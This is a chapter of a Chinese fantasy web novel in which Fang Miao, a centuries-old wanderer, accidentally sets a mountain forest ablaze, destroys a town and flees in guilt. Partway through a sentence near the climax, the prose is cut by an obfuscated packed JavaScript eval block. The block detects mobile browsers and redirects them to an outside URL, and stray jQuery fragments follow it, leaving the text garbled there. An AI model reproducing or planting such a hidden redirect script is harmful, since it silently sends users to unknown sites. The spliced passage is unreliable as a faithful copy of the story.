方妙数着车辙印里的冰棱时，风正从车辕缝隙灌进她的领子里。
商队领头的老车夫裹着熊皮袄子，唾沫星子刚落地就冻成晶亮的珠子：“过了前面那道梁，就是苍莽山的地界了。”
方妙缩了缩脖子，指尖无意识摩挲着腰间磨损的皮袋。里面装着半块干硬的麦饼，还有三枚偷来的铜钱。
近1900年的流浪像条没尽头的河，从北境冻土到江南烟雨，她的脚印总被下一场风雪覆盖，就像她从不记得自己究竟是何时学会在雪地里用冻僵的手指夹起别人掉落的钱袋。
“妙儿姑娘，”旁边的年轻脚夫递过酒囊，“暖暖身子吧，前面黑松镇的林家该施粥了。”
方妙接过酒囊时，指尖触到对方掌心的厚茧。她垂下眼睫，露出恰到好处的怯生生：“多谢大哥。”这副模样她用了近千年，从雪原上偷猎者的帐篷，到水乡茶楼的后厨，总能换来些残羹冷炙。
脚夫果然红了脸，挠着头退到车队末尾。
苍莽山的轮廓在风雪中如巨兽蛰伏。商队停下时，黑松镇的灯火像散落的星子，嵌在山坳里。镇口的老槐树挂着破冰的灯笼，树下排着长队——全是面黄肌瘦的猎户，捧着豁口的陶碗，等着林家的施粥。
方妙跟着脚夫们挤到队伍里，鼻尖萦绕着糙米和野菜的混合香气。她看见施粥棚后站着个穿白狐裘的少年，黑发金眸，样子看上去不大甚至还只是孩童模样，却又十分沉稳，正低声吩咐仆役多给孩童添些稠粥。
方妙随口询问了身边的猎户，才得知那是林家的小公子，白鸽族的后裔，每年冬日都会站在这里。
商队在黑松镇的车马店落脚时，第二场雪正扑簌簌落下。方妙分到间狭小的耳房，土炕烧得滚烫，却暖不透她冻惯了的骨头。
“妙儿姑娘，”门外传来脚夫的声音，“林家老爷说明日雪停后要上山打猎，问有没有人愿意同去。”
方妙默不作声地裹紧被子。
打猎？她想起百年前在北境，为了半块冻肉，曾用石子砸死过一只落单的孩童。那孩子的眼睛像两颗黑曜石，临死前还在盯着她手里的石头。
第二天雪果然停了。方妙推开窗，看见林家老爷带着几个猎户往苍莽山走去。
不知为何，她鬼使神差地跟了上去。
苍莽山的雪没过膝盖，每走一步都能听见积雪下枯枝断裂的声响。方妙远远缀在猎队后面，看着林家老爷搭箭射落一只山鸡，动作优雅得像在弹奏古琴。
猎队在午时停下休息，方妙趁机躲进一片松树林。她想找点吃的，却在扒开雪层时，看见下面埋着半具狼尸——尸体已经冻硬，腹部有个碗口大的洞，像是被什么巨兽撕裂的。
恐惧像冰冷的蛇，顺着方妙的脊椎爬上来。她转身想跑，却发现自己早已偏离了猎队的路线。四周全是长得一模一样的松树，风雪不知何时又起，模糊了来时的脚印。
天色渐渐暗下来，寒气像针一样扎进她的骨头。方妙蜷缩在一块巨石后面，牙齿不受控制地打颤。
求生的本能让她开始寻找干柴。她扒开积雪，找到些枯枝，又从怀里摸出火石——那是她去年在市集偷的，一直藏在贴身的口袋里。火星溅在枯枝上，燃起一簇微弱的火苗，凑近火堆，冻僵的手指终于有了点知觉。
火光照亮了周围的雪地，也照亮了她苍白的脸。她看着跳跃的火苗，突然想起林家公子，想起他给孩童添粥时温柔的眼神。那样的人，应该永远活在温暖的屋子里，不会像她这样，在风雪里挣扎求生。
或许有人天生就高人一等，也有些人，就像她一样。
不知过了多久，她听见远处传来人声。方妙连忙站起身，想大声呼救，却不小心碰倒了火堆旁的枯枝。火星溅在干燥的松针上，瞬间燃起一片小火苗。
“这边！”猎队的声音越来越近。方妙顾不上灭火，跌跌撞撞地朝着人声跑去。她只想离开这里，只想回到温暖的车马店，只想忘记这该死的迷路。
当方妙跟着猎队回到黑松镇时，天边的晚霞正被染成血色。
起初她以为是夕阳，直到闻到空气中浓烈的烟味，才惊恐地发现——苍莽山的半边山梁正在燃烧！
火借风势，顺着松林向山下蔓延，像一条愤怒的火龙。黑松镇的百姓们惊慌失措地提着水桶冲向河边，却发现河水早已冻成厚厚的冰层，根本无法取水。
“快！去砸井！”林家老爷的声音穿透了嘈杂的人声。他已经脱下了雪白的狐裘，只穿着单薄的里衣，带着猎户们用斧头砸向井口的冰层。可井水深千尺，冰层厚如铁，砸了许久也只裂开几道细缝。
方妙站在人群外，看着火势越来越近，照亮了每个人惊恐的脸。她看见昨天给她酒囊的年轻脚夫，正抱着孩子往镇外跑；看见那些排队领粥的猎户，此刻正用雪往自家屋顶上堆。
而这一切的源头，是她忘记扑灭的那簇小火苗。
罪恶感像潮水般淹没了她。她想上前帮忙，想告诉大家是她的错，可双腿像灌了铅一样沉重。
火势终于蔓延到了镇口的老槐树，破冰的灯笼在火中炸裂，像一声绝望的哀嚎。林家的施粥棚最先被吞噬，白色的帐幔在火中卷曲成黑色的灰烬。方妙看见林家公子猛地跪在地上，看着自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694787|173401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家的方向，发出一声撕心裂肺的哭喊。
就在这时，一块燃烧的木梁从屋顶坠落，砸在离她不远的地方。灼热的气浪让她猛地惊醒。她不能留在这里，不能被人发现是她引发了这场灾难。
方妙是在火势最猛烈的时候逃离黑松镇的。她沿着商队来时的路，在雪地里拼命奔跑，身后是冲天的火光和隐约的哭喊。寒冷再次包裹了她，但这一次，比风雪更冷的是她的心。
她不敢回头，不敢去想林家公子绝望的眼神，不敢去想那些被大火吞噬的房屋和生命。近1900年的流浪生涯里，她做过太多坏事，偷窃、乞讨、甚至杀人，但从未像此刻这样，感觉自己罪孽深重。
她无法再用“只是为了活下去”为自己找借口。
商队已经离开了。车马店的老板告诉她，火势一起，商队就立刻启程了，生怕被大火波及。方妙看着空荡荡的院子，突然觉得无比茫然。
她该去哪里？北方是无尽的雪原，南方是陌生的水乡，东方是未知的路途，而她的归属，似乎从来就只有流浪。
她摸了摸腰间的皮袋，里面的麦饼已经碎成了渣，铜钱还在，却像烧红的烙铁，烫得她手心发疼。脑海里不断浮现林家公子跪在地上绝望的哭喊。那样善良的人，那样美好的小镇，就因为她的一时疏忽，毁于一旦。
方妙漫无目的地走着，不知道走了多久，也不知道走了多远。雪又开始下了，覆盖了她的脚印，也覆盖了黑松镇的方向。
那时候，黄沙漫天时安德鲁告诉她，“动物的生存法则就是不停走下去。”
那时她不懂，现在却明白了。停下，就意味着死亡，或者更糟的，是良心的谴责。
她从靴底摸出一枚银饰，上面刻着细密的纹路，边缘有些磨损。
这是她刚偷来的，此刻，她将银饰紧紧握在手心，冰冷的金属硌得她手心生疼。
也许，流浪才是她真正的归属。没有根，没有家，没有牵挂，这样就不会再伤害到任何人。
方妙抬起头，望向茫茫的风雪。南边的天空似乎有一丝微光，那是南方的方向。她深吸一口气，裹紧了身上的狐裘，一步一步，朝着那丝微光走去。
她不知道前方等待她的是什么，是更寒冷的冬天，还是更温暖的春日。她只知道，自己必须不停地走下去，像一条孤魂，在这广袤的兽人世界里，继续她无尽的流浪。
身后，黑松镇的火光早已熄灭，只留下一片焦黑的废墟，和一个永远无法弥补的错误。而方妙，将带着这个错误，走向未知的远方，直到下一个冬天，下一场风雪，将她的足迹再次覆盖。